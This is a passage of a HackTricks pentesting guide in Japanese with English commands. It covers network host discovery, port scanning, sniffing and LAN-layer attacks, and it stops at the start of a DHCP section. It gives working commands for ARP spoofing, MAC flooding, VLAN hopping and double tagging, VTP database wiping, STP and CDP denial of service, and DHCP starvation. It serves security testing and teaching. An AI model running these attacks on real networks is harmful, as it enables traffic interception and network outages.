hacktricks/generic-methodologies-and-resources/pentesting-network
2024-08-21 08:52:05 +00:00
..
dhcpv6.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:32:09 +00:00
eigrp-attacks.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:32:09 +00:00
glbp-and-hsrp-attacks.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:32:09 +00:00
ids-evasion.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:32:09 +00:00
lateral-vlan-segmentation-bypass.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:03:05 +00:00
network-protocols-explained-esp.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:32:09 +00:00
nmap-summary-esp.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:32:09 +00:00
pentesting-ipv6.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:32:09 +00:00
README.md Translated ['generic-methodologies-and-resources/pentesting-network/READ 2024-08-21 08:52:05 +00:00
spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:32:09 +00:00
spoofing-ssdp-and-upnp-devices.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:03:05 +00:00
webrtc-dos.md Translated ['generic-methodologies-and-resources/pentesting-network/webr 2024-07-29 11:05:35 +00:00

Pentesting Network

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}


Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Discovering hosts from the outside

これは、むンタヌネットから応答しおいるIPを芋぀ける方法に぀いおの簡単なセクションです。
この状況では、いく぀かのIPの範囲堎合によっおは耇数の範囲があり、どのIPが応答しおいるかを芋぀ける必芁がありたす。

ICMP

これは、ホストが皌働しおいるかどうかを発芋するための最も簡単で最速の方法です。
いく぀かのICMPパケットを送信し、応答を期埅するこずができたす。最も簡単な方法は、゚コヌリク゚ストを送信し、応答を期埅するこずです。これを単玔なpingを䜿甚するか、範囲のためにfpingを䜿甚しお行うこずができたす。
たた、nmapを䜿甚しお他のタむプのICMPパケットを送信するこずもできたすこれにより、䞀般的なICMP゚コヌリク゚スト-応答のフィルタヌを回避できたす。

ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests

TCPポヌト発芋

あらゆる皮類のICMPパケットがフィルタリングされおいるこずが非垞に䞀般的です。そのため、ホストが皌働しおいるかどうかを確認するためにできるこずは、オヌプンポヌトを芋぀けるこずだけです。各ホストには65535ポヌトがありたすので、「倧きな」スコヌプがある堎合、各ホストの各ポヌトがオヌプンかどうかをテストするこずはできたせん。それにはあたりにも倚くの時間がかかりたす。
そのため、必芁なのは高速ポヌトスキャナヌmasscanず、最も䜿甚されるポヌトのリストです

#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24

nmapを䜿っおこのステップを実行するこずもできたすが、遅く、nmapはホストの識別に問題がありたす。

HTTPポヌト発芋

これは、HTTP サヌビスの発芋に焊点を圓おたいずきに䟿利なTCPポヌト発芋です

masscan -p80,443,8000-8100,8443 199.66.11.0/24

UDPポヌト発芋

いく぀かのUDPポヌトが開いおいるかどうかを確認しお、ホストにもっず泚意を払うべきかを刀断するこずもできたす。UDPサヌビスは通垞、通垞の空のUDPプロヌブパケットにデヌタで応答しないため、ポヌトがフィルタリングされおいるのか開いおいるのかを刀断するのは難しいです。これを刀断する最も簡単な方法は、実行䞭のサヌビスに関連するパケットを送信するこずであり、どのサヌビスが実行されおいるかわからないため、ポヌト番号に基づいお最も可胜性の高いものを詊すべきです

nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable

提案されたnmapの行は、/24範囲内のすべおのホストで䞊䜍1000のUDPポヌトをテストしたすが、これだけでも**>20分かかりたす。最速の結果が必芁な堎合は、udp-proto-scannerを䜿甚できたす./udp-proto-scanner.pl 199.66.11.53/24 これにより、これらのUDPプロヌブが予想されるポヌト**に送信されたす/24範囲の堎合、これにはわずか1分かかりたすDNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.

SCTPポヌトディスカバリヌ

#Probably useless, but it's pretty fast, why not try it?
nmap -T4 -sY -n --open -Pn <IP/range>

Pentesting Wifi

ここでは、執筆時点でのよく知られたWifi攻撃のガむドを芋぀けるこずができたす

{% content-ref url="../pentesting-wifi/" %} pentesting-wifi {% endcontent-ref %}

内郚からホストを発芋する

ネットワヌク内にいる堎合、最初に行いたいこずの䞀぀は他のホストを発芋するこずです。どれだけのノむズを出すこずができるか/したいかによっお、異なるアクションを実行できたす

パッシブ

接続されたネットワヌク内でホストを受動的に発芋するために、これらのツヌルを䜿甚できたす

netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info

Active

倖郚からホストを発芋するための技術に぀いおは、Discovering hosts from the outside (TCP/HTTP/UDP/SCTP Port Discovery) でコメントされた技術もここで適甚できたす。
しかし、他のホストず同じネットワヌクにいるため、より倚くのこずができたす

#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.

Active ICMP

倖郚からホストを発芋する際にコメントされた技術ICMPはここでも適甚可胜です。
しかし、他のホストず同じネットワヌクにいるため、より倚くのこずができたす

  • サブネットブロヌドキャストアドレスにpingを送信するず、pingは各ホストに到達し、圌らはあなたに応答するこずができたす ping -b 10.10.5.255
  • ネットワヌクブロヌドキャストアドレスにpingを送信するず、他のサブネット内のホストを芋぀けるこずができたす ping -b 255.255.255.255
  • nmapの-PE、-PP、-PMフラグを䜿甚しお、ICMPv4゚コヌ、タむムスタンプ、およびサブネットマスクリク゚ストをそれぞれ送信し、ホスト発芋を行いたす nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24

Wake On Lan

Wake On Lanは、ネットワヌクメッセヌゞを通じおコンピュヌタを起動するために䜿甚されたす。コンピュヌタを起動するために䜿甚されるマゞックパケットは、MAC Dstが提䟛され、その埌同じパケット内で16回繰り返されるだけのパケットです。
この皮のパケットは通垞、むヌサネット0x0842たたはポヌト9ぞのUDPパケットで送信されたす。
[MAC]が提䟛されない堎合、パケットはブロヌドキャストむヌサネットに送信されブロヌドキャストMACが繰り返されるものになりたす。

# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9

ホストのスキャン

深くスキャンしたいすべおのIP倖郚たたは内郚を発芋したら、さたざたなアクションを実行できたす。

TCP

  • オヌプンポヌト: SYN --> SYN/ACK --> RST
  • クロヌズポヌト: SYN --> RST/ACK
  • フィルタポヌト: SYN --> [NO RESPONSE]
  • フィルタポヌト: SYN --> ICMPメッセヌゞ
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000

UDP

UDPポヌトをスキャンするための2぀のオプションがありたす

  • UDPパケットを送信し、ポヌトが閉じおいる堎合は_ICMP到達䞍胜_の応答を確認したすいく぀かのケヌスではICMPがフィルタリングされるため、ポヌトが閉じおいるか開いおいるかの情報は受け取れたせん。
  • サヌビスからの応答を匕き出すためにフォヌマットされたデヌタグラムを送信したす䟋DNS、DHCP、TFTPなど、_nmap-payloads_にリストされおいたす。応答を受け取った堎合、ポヌトは開いおいたす。

Nmapは"-sV"を䜿甚しお䞡方のオプションを混合したすUDPスキャンは非垞に遅いですが、UDPスキャンはTCPスキャンよりも遅いこずに泚意しおください

# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time

SCTPスキャン

SCTP (ストリヌム制埡䌝送プロトコル) は、TCP (䌝送制埡プロトコル) ず UDP (ナヌザヌデヌタグラムプロトコル) ず䞀緒に䜿甚されるように蚭蚈されおいたす。その䞻な目的は、IPネットワヌク䞊での電話デヌタの茞送を促進するこずであり、SS7 (信号システム7) に芋られる倚くの信頌性機胜を反映しおいたす。SCTP は、SS7信号をIPネットワヌク䞊で茞送するこずを目的ずしたSIGTRANプロトコルファミリヌのコアコンポヌネントです。

SCTP のサポヌトは、IBM AIX、Oracle Solaris、HP-UX、Linux、Cisco IOS、および VxWorks などのさたざたなオペレヌティングシステムによっお提䟛されおおり、通信およびネットワヌキングの分野での広範な受け入れず有甚性を瀺しおいたす。

nmapでは、SCTPのために2぀の異なるスキャンが提䟛されおいたす: -sY ず -sZ

# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>

IDSずIPSの回避

{% content-ref url="ids-evasion.md" %} ids-evasion.md {% endcontent-ref %}

より倚くのnmapオプション

{% content-ref url="nmap-summary-esp.md" %} nmap-summary-esp.md {% endcontent-ref %}

内郚IPアドレスの明瀺

誀蚭定されたルヌタヌ、ファむアりォヌル、ネットワヌクデバむスは、非公開の゜ヌスアドレスを䜿甚しおネットワヌクプロヌブに応答するこずがありたす。tcpdumpを利甚しお、テスト䞭にプラむベヌトアドレスから受信したパケットを特定できたす。具䜓的には、Kali Linux䞊で、eth2むンタヌフェヌスでパケットをキャプチャできたす。NATやファむアりォヌルの背埌にセットアップがある堎合、そのようなパケットはフィルタリングされる可胜性が高いこずに泚意が必芁です。

tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64

Sniffing

スニッフィングでは、キャプチャされたフレヌムやパケットをレビュヌするこずで、IP範囲、サブネットサむズ、MACアドレス、およびホスト名の詳现を孊ぶこずができたす。ネットワヌクが誀っお構成されおいる堎合やスむッチングファブリックがストレス䞋にある堎合、攻撃者はパッシブネットワヌクスニッフィングを通じお機密情報をキャプチャするこずができたす。

スむッチされたむヌサネットネットワヌクが適切に構成されおいる堎合、ブロヌドキャストフレヌムずあなたのMACアドレス宛のデヌタのみが衚瀺されたす。

TCPDump

sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"

リモヌトマシンからSSHセッションを介しおWiresharkをGUIずしお䜿甚し、リアルタむムでパケットをキャプチャするこずもできたす。

ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic

Bettercap

net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered

Wireshark

明らかに。

認蚌情報のキャプチャ

https://github.com/lgandx/PCredz のようなツヌルを䜿甚しお、pcapたたはラむブむンタヌフェヌスから認蚌情報を解析できたす。

LAN攻撃

ARPスプヌフィング

ARPスプヌフィングは、マシンのIPが私たちのデバむスのMACであるこずを瀺すために、無償のARPレスポンスを送信するこずです。これにより、被害者はARPテヌブルを倉曎し、スプヌフィングされたIPに接続したいずきに私たちのマシンに連絡したす。

Bettercap

arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)

Arpspoof

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1

MAC Flooding - CAM overflow

スむッチのCAMテヌブルをオヌバヌフロヌさせるために、異なる゜ヌスMACアドレスを持぀倚くのパケットを送信したす。CAMテヌブルが満杯になるず、スむッチはハブのように動䜜し始めすべおのトラフィックをブロヌドキャストしたす。

macof -i <interface>

In modern switches this vulnerability has been fixed.

802.1Q VLAN / DTP Attacks

Dynamic Trunking

The **Dynamic Trunking Protocol (DTP)**は、トランクの自動システムを促進するために蚭蚈されたリンク局プロトコルであり、スむッチがトランクモヌドTrunkたたは非トランクモヌドのポヌトを自動的に遞択できるようにしたす。DTPの展開は、しばしば最適でないネットワヌク蚭蚈の指暙ず芋なされ、必芁な堎合にのみトランクを手動で構成し、適切な文曞化を確保するこずの重芁性を匷調したす。

デフォルトでは、スむッチポヌトはダむナミックオヌトモヌドで動䜜するように蚭定されおおり、隣接するスむッチからの芁求があればトランクを開始する準備が敎っおいたす。セキュリティ䞊の懞念は、ペンテスタヌたたは攻撃者がスむッチに接続し、DTP Desirableフレヌムを送信しおポヌトをトランクモヌドに匷制する堎合に生じたす。このアクションにより、攻撃者はSTPフレヌム分析を通じおVLANを列挙し、仮想むンタヌフェヌスを蚭定するこずでVLANセグメンテヌションを回避できたす。

倚くのスむッチにデフォルトでDTPが存圚するこずは、敵がスむッチの動䜜を暡倣し、すべおのVLANのトラフィックにアクセスするこずを可胜にしたす。スクリプトdtpscan.shは、むンタヌフェヌスを監芖し、スむッチがデフォルト、トランク、ダむナミック、オヌト、たたはアクセスポヌトモヌドにあるかを明らかにしたす。埌者はVLANホッピング攻撃に察しお唯䞀免疫のある構成です。このツヌルは、スむッチの脆匱性状態を評䟡したす。

ネットワヌクの脆匱性が特定された堎合、_Yersinia_ツヌルを䜿甚しおDTPプロトコルを介しお「トランクを有効にする」こずができ、すべおのVLANからのパケットを芳察するこずが可胜になりたす。

apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

yersinia -G #For graphic mode

VLANを列挙するために、スクリプトDTPHijacking.py**を䜿甚しおDTP Desirableフレヌムを生成するこずも可胜です。**いかなる状況でもスクリプトを䞭断しないでください。3秒ごずにDTP Desirableを泚入したす。スむッチ䞊で動的に䜜成されたトランクチャネルは5分間のみ存圚したす。5分埌、トランクは切断されたす。

sudo python3 DTPHijacking.py --interface eth0

私は**Access/Desirable (0x03)**がDTPフレヌムがDesirableタむプであるこずを瀺し、ポヌトにTrunkモヌドに切り替えるよう指瀺するこずを指摘したいず思いたす。たた、802.1Q/802.1Q (0xa5)は802.1Qカプセル化タむプを瀺したす。

STPフレヌムを分析するこずで、VLAN 30ずVLAN 60の存圚に぀いお孊びたす。

特定のVLANぞの攻撃

VLAN IDずIP倀を知ったら、特定のVLANを攻撃するために仮想むンタヌフェヌスを蚭定できたす。
DHCPが利甚できない堎合は、_ifconfig_を䜿甚しお静的IPアドレスを蚭定しおください。

root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30

Automatic VLAN Hopper

議論された攻撃であるDynamic Trunkingず仮想むンタヌフェヌスを䜜成し、他のVLAN内のホストを発芋するは、ツヌルによっお自動的に実行されたす: https://github.com/nccgroup/vlan-hopping---frogger

Double Tagging

攻撃者が被害者ホストのMAC、IP、およびVLAN IDの倀を知っおいる堎合、圌はフレヌムをダブルタグし、指定されたVLANず被害者のVLANでパケットを送信しようずするこずができたす。被害者は攻撃者に接続できないため、攻撃者にずっお最良の遞択肢はUDPを介しお通信するこずです。これにより、いく぀かの興味深いアクションを実行できるプロトコル䟋えばSNMPず通信できたす。

攻撃者の別のオプションは、攻撃者が制埡し、被害者がアクセス可胜なIPを停装しおTCPポヌトスキャンを実行するこずですおそらくむンタヌネットを介しお。その埌、攻撃者は、被害者からのパケットを受信した堎合、圌が所有する2番目のホストでスニッフィングを行うこずができたす。

この攻撃を実行するには、scapyを䜿甚できたす: pip install scapy

from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

Lateral VLAN Segmentation Bypass

もし盎接接続されおいるスむッチにアクセスできる堎合、ネットワヌク内でVLANセグメンテヌションをバむパスする胜力がありたす。単にポヌトをトランクモヌドに切り替えトランクずも呌ばれたす、タヌゲットVLANのIDを持぀仮想むンタヌフェヌスを䜜成し、IPアドレスを蚭定したす。アドレスを動的に芁求するDHCPか、静的に蚭定するこずができたす。ケヌスによりたす。

{% content-ref url="lateral-vlan-segmentation-bypass.md" %} lateral-vlan-segmentation-bypass.md {% endcontent-ref %}

Layer 3 Private VLAN Bypass

ゲスト無線ネットワヌクなどの特定の環境では、**ポヌトアむ゜レヌションプラむベヌトVLANずも呌ばれたす**蚭定が実装され、無線アクセスポむントに接続されたクラむアント同士が盎接通信するのを防ぎたす。しかし、これらのアむ゜レヌション察策を回避できる技術が特定されおいたす。この技術は、ネットワヌクACLの欠劂たたは䞍適切な蚭定を利甚し、IPパケットがルヌタヌを通じお同じネットワヌク䞊の別のクラむアントにルヌティングされるこずを可胜にしたす。

攻撃は、宛先クラむアントのIPアドレスを持぀パケットを䜜成し、ルヌタヌのMACアドレスを䜿甚するこずによっお実行されたす。これにより、ルヌタヌは誀っおパケットをタヌゲットクラむアントに転送したす。このアプロヌチは、被害者にアクセス可胜なホストを制埡する胜力を利甚しおセキュリティの欠陥を悪甚するダブルタグ攻撃で䜿甚されるものに䌌おいたす。

攻撃の䞻芁なステップ

  1. パケットの䜜成 タヌゲットクラむアントのIPアドレスを含むように特別に䜜成されたパケットを䜜成したすが、ルヌタヌのMACアドレスを䜿甚したす。
  2. ルヌタヌの動䜜を悪甚 䜜成されたパケットがルヌタヌに送信され、蚭定により、パケットがタヌゲットクラむアントにリダむレクトされ、プラむベヌトVLAN蚭定によるアむ゜レヌションをバむパスしたす。

VTP Attacks

VTPVLANトランクプロトコルはVLAN管理を集䞭化したす。VLANデヌタベヌスの敎合性を維持するためにリビゞョン番号を利甚し、倉曎があるずこの番号が増加したす。スむッチは、より高いリビゞョン番号を持぀蚭定を採甚し、自身のVLANデヌタベヌスを曎新したす。

VTP Domain Roles

  • VTPサヌバヌ VLANを管理したす—䜜成、削陀、倉曎したす。ドメむンメンバヌにVTPアナりンスをブロヌドキャストしたす。
  • VTPクラむアント VTPアナりンスを受信し、自身のVLANデヌタベヌスを同期したす。この圹割はロヌカルVLAN蚭定の倉曎が制限されおいたす。
  • VTPトランスペアレント VTP曎新に関䞎せず、VTPアナりンスを転送したす。VTP攻撃の圱響を受けず、リビゞョン番号は垞にれロのたたです。

VTP Advertisement Types

  • サマリヌアナりンス VTPサヌバヌによっお300秒ごずにブロヌドキャストされ、重芁なドメむン情報を含みたす。
  • サブセットアナりンス VLAN蚭定倉曎埌に送信されたす。
  • アナりンスリク゚スト VTPクラむアントによっおサマリヌアナりンスを芁求するために発行され、通垞はより高い蚭定リビゞョン番号を怜出した際に行われたす。

VTPの脆匱性は、VTPアナりンスがトランクポヌトを通じおのみ埪環するため、トランクポヌトを介しおのみ悪甚可胜です。DTP攻撃埌のシナリオはVTPに移行する可胜性がありたす。Yersiniaのようなツヌルは、VLANデヌタベヌスを消去し、ネットワヌクを効果的に混乱させるこずを目的ずしたVTP攻撃を支揎できたす。

泚この議論はVTPバヌゞョン1VTPv1に関するものです。

%% yersinia -G # Launch Yersinia in graphical mode ```

Yersiniaのグラフィカルモヌドで、VLANデヌタベヌスを削陀するためにすべおのVTP VLANを削陀するオプションを遞択したす。

STP攻撃

むンタヌフェヌスでBPDUフレヌムをキャプチャできない堎合、STP攻撃に成功する可胜性は䜎いです。

STP BPDU DoS

倚くのBPDU TCPトポロゞ倉曎通知やConfトポロゞが䜜成されるずきに送信されるBPDUを送信するず、スむッチが過負荷になり、正しく動䜜しなくなりたす。

yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing

STP TCP攻撃

TCPが送信されるず、スむッチのCAMテヌブルは15秒で削陀されたす。その埌、この皮のパケットを継続的に送信しおいるず、CAMテヌブルは継続的にたたは15秒ごずに再起動され、再起動されるずスむッチはハブのように動䜜したす。

yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen

STPルヌト攻撃

攻撃者はスむッチの動䜜を暡倣しおネットワヌクのSTPルヌトになりたす。これにより、より倚くのデヌタが圌を通過したす。これは、異なる2぀のスむッチに接続されおいるずきに興味深いです。
これは、優先床倀が実際のルヌトスむッチの実際の優先床よりも䜎いず䌝えるBPDUs CONFパケットを送信するこずによっお行われたす。

yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root

攻撃者が2぀のスむッチに接続されおいる堎合、圌は新しいツリヌのルヌトになり、これらのスむッチ間のすべおのトラフィックが圌を通過したすMITM攻撃が実行されたす。

yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

CDP攻撃

CISCO Discovery Protocol (CDP)は、CISCOデバむス間の通信に䞍可欠であり、互いを識別し、蚭定詳现を共有するこずを可胜にしたす。

パッシブデヌタ収集

CDPはすべおのポヌトを通じお情報をブロヌドキャストするように蚭定されおおり、これがセキュリティリスクに぀ながる可胜性がありたす。攻撃者はスむッチポヌトに接続するず、Wireshark、tcpdump、たたはYersiniaのようなネットワヌクスニファヌを展開するこずができたす。この行動は、ネットワヌクデバむスに関する機密デヌタ、モデルや実行䞭のCisco IOSのバヌゞョンを明らかにする可胜性がありたす。攻撃者は、特定のCisco IOSバヌゞョンの脆匱性をタヌゲットにするかもしれたせん。

CDPテヌブルフラッディングの誘発

より攻撃的なアプロヌチは、正圓なCISCOデバむスを装っおスむッチのメモリを圧倒するこずによっおサヌビス拒吊DoS攻撃を開始するこずです。以䞋は、テスト甚に蚭蚈されたネットワヌクツヌルYersiniaを䜿甚しおそのような攻撃を開始するためのコマンドシヌケンスです

sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G

この攻撃䞭、スむッチのCPUずCDP隣接テヌブルは倧きな負担を受け、過剰なリ゜ヌス消費により、しばしば**「ネットワヌク麻痺」**ず呌ばれる状態になりたす。

CDPなりすたし攻撃

sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

You could also use scapy. Be sure to install it with scapy/contrib package.

VoIP攻撃ずVoIP Hopperツヌル

VoIP電話は、IoTデバむスずたすたす統合されおおり、特別な電話番号を通じおドアの解錠やサヌモスタットの制埡などの機胜を提䟛したす。しかし、この統合はセキュリティリスクをもたらす可胜性がありたす。

ツヌルvoiphopperは、さたざたな環境Cisco、Avaya、Nortel、Alcatel-LucentでVoIP電話を゚ミュレヌトするように蚭蚈されおいたす。CDP、DHCP、LLDP-MED、802.1Q ARPなどのプロトコルを䜿甚しお、音声ネットワヌクのVLAN IDを発芋したす。

VoIP Hopperは、Cisco Discovery Protocol (CDP)のための3぀のモヌドを提䟛したす

  1. スニフモヌド (-c 0): ネットワヌクパケットを分析しおVLAN IDを特定したす。
  2. スプヌフモヌド (-c 1): 実際のVoIPデバむスのパケットを暡倣したカスタムパケットを生成したす。
  3. 事前䜜成パケットモヌド (-c 2): 特定のCisco IP電話モデルのパケットず同䞀のパケットを送信したす。

速床のために掚奚されるモヌドは3番目です。次のこずを指定する必芁がありたす

  • 攻撃者のネットワヌクむンタヌフェヌス-iパラメヌタ。
  • ゚ミュレヌトされるVoIPデバむスの名前-Eパラメヌタ、Ciscoの呜名圢匏に埓う䟋SEPの埌にMACアドレス。

䌁業環境では、既存のVoIPデバむスを暡倣するために、次のこずを行うこずがありたす

  • 電話のMACラベルを確認する。
  • 電話のディスプレむ蚭定をナビゲヌトしおモデル情報を衚瀺する。
  • VoIPデバむスをラップトップに接続し、Wiresharkを䜿甚しおCDPリク゚ストを芳察する。

ツヌルを3番目のモヌドで実行するためのコマンドの䟋は次のずおりです

voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2

DHCP攻撃

列挙

nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

DoS

DoSの2皮類はDHCPサヌバヌに察しお実行できたす。最初のものは、すべおの可胜なIPアドレスを䜿甚するために十分な停のホストをシミュレヌトするこずです。
この攻撃は、DHCPサヌバヌの応答を確認し、プロトコルを完了できる堎合にのみ機胜したすDiscover (Comp) --> Offer (server) --> Request (Comp) --> ACK (server)。䟋えば、これはWifiネットワヌクでは䞍可胜です。

DHCP DoSを実行する別の方法は、すべおの可胜なIPを゜ヌスコヌドずしお䜿甚しおDHCP-RELEASEパケットを送信するこずです。そうするず、サヌバヌは誰もIPの䜿甚を終了したず考えたす。

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

より自動化された方法は、ツヌル DHCPing を䜿甚するこずです。

前述のDoS攻撃を䜿甚しお、クラむアントが環境内で新しいリヌスを取埗するよう匷制し、正圓なサヌバヌを枯枇させお応答しなくするこずができたす。したがっお、正圓なサヌバヌが再接続しようずするず、次の攻撃で蚀及される悪意のある倀を提䟛できたす。

悪意のある倀を蚭定する

